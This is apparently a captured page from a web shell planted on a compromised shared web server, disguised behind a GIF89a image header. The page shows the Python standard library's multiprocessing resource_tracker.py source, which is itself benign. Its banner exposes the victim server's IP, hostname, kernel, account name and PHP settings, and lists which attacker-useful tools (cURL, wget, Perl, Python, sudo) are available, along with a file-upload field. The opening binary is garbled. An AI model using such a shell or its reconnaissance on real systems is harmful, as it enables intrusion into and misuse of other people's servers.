GIF89a=( ý' 7IAXKgNgYvYx\%wh&h}týh%ýs%xý}9ýRýý&ý0%ý (ý.ýý5ýSDýý&ýa)ýx5ýý;c*!&r)ï7õ<{4ý3ýH§KoTýýYýaqýýqýýFý !ý ' !ýNETSCAPE2.0 , =( ýýpH,ý$rýl:x(tJýZý,výýzýýxL.:ýýzýnýýý|Nýýýýý~ýýýýýýý& !ý0`9Rý}ýý"ý"a:Sý~xýýýýýýýýgýýýEýýýýýýýRýýýEýýýýBýý ýý8ýýDýýý"ýný ýHýýLýýDkDýBýýýýýDýýýTýýýH ýGýýA Rý |ýým&ýýE8ýSýkGýAýpxýaýýýR2XBýýE8Iýýý6Xý:vT)ý~ýýqýåýý"F~%xý ý 4#Zý0O|-4BsýX:= Qý SalýýyXJ`G&|shýýK3l7ýB|ý$'7J©*0!ýýDýn=ýPýýýýý0`ýRýljýýýýv>ýýý5 ý.69ýødýýýýýnlvý9ýýf{ýýýPbxýl5}ýpýýýýý3aýýýIýOýýýý!>ýýýiýý9ýý#ýý)pýa ½ ý{ý)vmýý%D~6fýýs}RýDýW Eý`!ý ý&L8xý ý{)x`X/>ý}mýýRý*|`Dý=ý_ ^ý5!_&'aýOý7ýcýý`DCx`ý¥ý9ýYýFýýý`?ýý"ý ýn@`ý} lýý@4>ýd S ývýxNýý"@~dýý=ýgýs~Gýýýýýýud &p8Qý)«lXDýýýýA~HýySunýjýýýk*DýLHý] ýýC"JýýXb~ªwSt}6K,ýýqýS:9*:ýýýlý@ý`ýý ý.ìýt9ýSý[©:ýý=`9Nýýýý{¿ýA !Rý:ýýý6ýýxý0ý_ ý;ýýýýýý^ýýý#ýýýý!ýýýýUýýý;0L1ýýýýýp%AýýU,uýý%ýSýý!ýýý~`ýGýýýý ýýý=4ýnpý3ýýýýýýýýýuýuýn|%2ýIýýrý#0ýýJ``8ý@S@5ýýýý^`8Eý]ý.ýSýýý7 ý ý0ýj SýDý zýýýiýSýýýýý!ýýýlýýw9*ýDýIýnEXýýý &AýGoýQfýýFýý;ýýý}ýJýýýýF5ýýQ|ýýýXýýTýýyýýý]ý o ýýC=ýý:ýýýPB@ DýSý(>ýCýx}`ýýxJ,ýàýýp+eE0`ý}`Aý/NEýý ý9@ýýý Hý7ý!%B0`ýl*ýý!8 2ý%ý ý:ý1ý0Eýýux%nP1ý!ýC)ýP81lýxF#¬{ýýýýB0>ýý
Server IP : 217.18.85.50 / Your IP : 13.59.91.59 Web Server : LiteSpeed System : Linux server50.tr85.dhs.com.tr 3.10.0-962.3.2.lve1.5.85.el7.x86_64 #1 SMP Thu Apr 18 15:18:36 UTC 2024 x86_64 User : ferhatgenc ( ) PHP Version : 7.2.34 Disable Function : restore_ini,mail,openbasedir,f_open,system,dl,array_compare,array_user_key_compare,passthru,cat,exec,popen,proc_close,proc_get_status,proc_nice,proc_open,escapeshellcmd,escapeshellarg,show_source,posix_mkfifo,ini_restore,mysql_list_dbs,getmyuid,pconnect,link,symlink,fin,passthruexec,fileread,shell_exec,pcntl_exec,ini_alter,leak,apache_child_terminate,chown,posix_kill,posix_setpgid,posix_setsid,posix_setuid,proc_terminate,syslog,allow_url_fopen,fpassthru,execute,shell,chgrp,passthru,socket_select,socket_create,socket_create_listen,socket_create_pair,socket_listen,socket_accept,socket_bind,foreach,socket_strerror,pcntl_fork,pcntl_signal,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,openlog,apache_get_version,apache_getenv,apache_note,apache_setenv,virtualal MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /opt/alt/python38/lib64/python3.8/multiprocessing/ |
Upload File : |
############################################################################### # Server process to keep track of unlinked resources (like shared memory # segments, semaphores etc.) and clean them. # # On Unix we run a server process which keeps track of unlinked # resources. The server ignores SIGINT and SIGTERM and reads from a # pipe. Every other process of the program has a copy of the writable # end of the pipe, so we get EOF when all other processes have exited. # Then the server process unlinks any remaining resource names. # # This is important because there may be system limits for such resources: for # instance, the system only supports a limited number of named semaphores, and # shared-memory segments live in the RAM. If a python process leaks such a # resource, this resource will not be removed till the next reboot. Without # this resource tracker process, "killall python" would probably leave unlinked # resources. import os import signal import sys import threading import warnings from . import spawn from . import util __all__ = ['ensure_running', 'register', 'unregister'] _HAVE_SIGMASK = hasattr(signal, 'pthread_sigmask') _IGNORED_SIGNALS = (signal.SIGINT, signal.SIGTERM) _CLEANUP_FUNCS = { 'noop': lambda: None, } if os.name == 'posix': import _multiprocessing import _posixshmem _CLEANUP_FUNCS.update({ 'semaphore': _multiprocessing.sem_unlink, 'shared_memory': _posixshmem.shm_unlink, }) class ResourceTracker(object): def __init__(self): self._lock = threading.Lock() self._fd = None self._pid = None def _stop(self): with self._lock: if self._fd is None: # not running return # closing the "alive" file descriptor stops main() os.close(self._fd) self._fd = None os.waitpid(self._pid, 0) self._pid = None def getfd(self): self.ensure_running() return self._fd def ensure_running(self): '''Make sure that resource tracker process is running. This can be run from any process. Usually a child process will use the resource created by its parent.''' with self._lock: if self._fd is not None: # resource tracker was launched before, is it still running? if self._check_alive(): # => still alive return # => dead, launch it again os.close(self._fd) # Clean-up to avoid dangling processes. try: # _pid can be None if this process is a child from another # python process, which has started the resource_tracker. if self._pid is not None: os.waitpid(self._pid, 0) except ChildProcessError: # The resource_tracker has already been terminated. pass self._fd = None self._pid = None warnings.warn('resource_tracker: process died unexpectedly, ' 'relaunching. Some resources might leak.') fds_to_pass = [] try: fds_to_pass.append(sys.stderr.fileno()) except Exception: pass cmd = 'from multiprocessing.resource_tracker import main;main(%d)' r, w = os.pipe() try: fds_to_pass.append(r) # process will out live us, so no need to wait on pid exe = spawn.get_executable() args = [exe] + util._args_from_interpreter_flags() args += ['-c', cmd % r] # bpo-33613: Register a signal mask that will block the signals. # This signal mask will be inherited by the child that is going # to be spawned and will protect the child from a race condition # that can make the child die before it registers signal handlers # for SIGINT and SIGTERM. The mask is unregistered after spawning # the child. try: if _HAVE_SIGMASK: signal.pthread_sigmask(signal.SIG_BLOCK, _IGNORED_SIGNALS) pid = util.spawnv_passfds(exe, args, fds_to_pass) finally: if _HAVE_SIGMASK: signal.pthread_sigmask(signal.SIG_UNBLOCK, _IGNORED_SIGNALS) except: os.close(w) raise else: self._fd = w self._pid = pid finally: os.close(r) def _check_alive(self): '''Check that the pipe has not been closed by sending a probe.''' try: # We cannot use send here as it calls ensure_running, creating # a cycle. os.write(self._fd, b'PROBE:0:noop\n') except OSError: return False else: return True def register(self, name, rtype): '''Register name of resource with resource tracker.''' self._send('REGISTER', name, rtype) def unregister(self, name, rtype): '''Unregister name of resource with resource tracker.''' self._send('UNREGISTER', name, rtype) def _send(self, cmd, name, rtype): self.ensure_running() msg = '{0}:{1}:{2}\n'.format(cmd, name, rtype).encode('ascii') if len(name) > 512: # posix guarantees that writes to a pipe of less than PIPE_BUF # bytes are atomic, and that PIPE_BUF >= 512 raise ValueError('name too long') nbytes = os.write(self._fd, msg) assert nbytes == len(msg), "nbytes {0:n} but len(msg) {1:n}".format( nbytes, len(msg)) _resource_tracker = ResourceTracker() ensure_running = _resource_tracker.ensure_running register = _resource_tracker.register unregister = _resource_tracker.unregister getfd = _resource_tracker.getfd def main(fd): '''Run resource tracker.''' # protect the process from ^C and "killall python" etc signal.signal(signal.SIGINT, signal.SIG_IGN) signal.signal(signal.SIGTERM, signal.SIG_IGN) if _HAVE_SIGMASK: signal.pthread_sigmask(signal.SIG_UNBLOCK, _IGNORED_SIGNALS) for f in (sys.stdin, sys.stdout): try: f.close() except Exception: pass cache = {rtype: set() for rtype in _CLEANUP_FUNCS.keys()} try: # keep track of registered/unregistered resources with open(fd, 'rb') as f: for line in f: try: cmd, name, rtype = line.strip().decode('ascii').split(':') cleanup_func = _CLEANUP_FUNCS.get(rtype, None) if cleanup_func is None: raise ValueError( f'Cannot register {name} for automatic cleanup: ' f'unknown resource type {rtype}') if cmd == 'REGISTER': cache[rtype].add(name) elif cmd == 'UNREGISTER': cache[rtype].remove(name) elif cmd == 'PROBE': pass else: raise RuntimeError('unrecognized command %r' % cmd) except Exception: try: sys.excepthook(*sys.exc_info()) except: pass finally: # all processes have terminated; cleanup any remaining resources for rtype, rtype_cache in cache.items(): if rtype_cache: try: warnings.warn('resource_tracker: There appear to be %d ' 'leaked %s objects to clean up at shutdown' % (len(rtype_cache), rtype)) except Exception: pass for name in rtype_cache: # For some reason the process which created and registered this # resource has failed to unregister it. Presumably it has # died. We therefore unlink it. try: try: _CLEANUP_FUNCS[rtype](name) except Exception as e: warnings.warn('resource_tracker: %r: %s' % (name, e)) finally: pass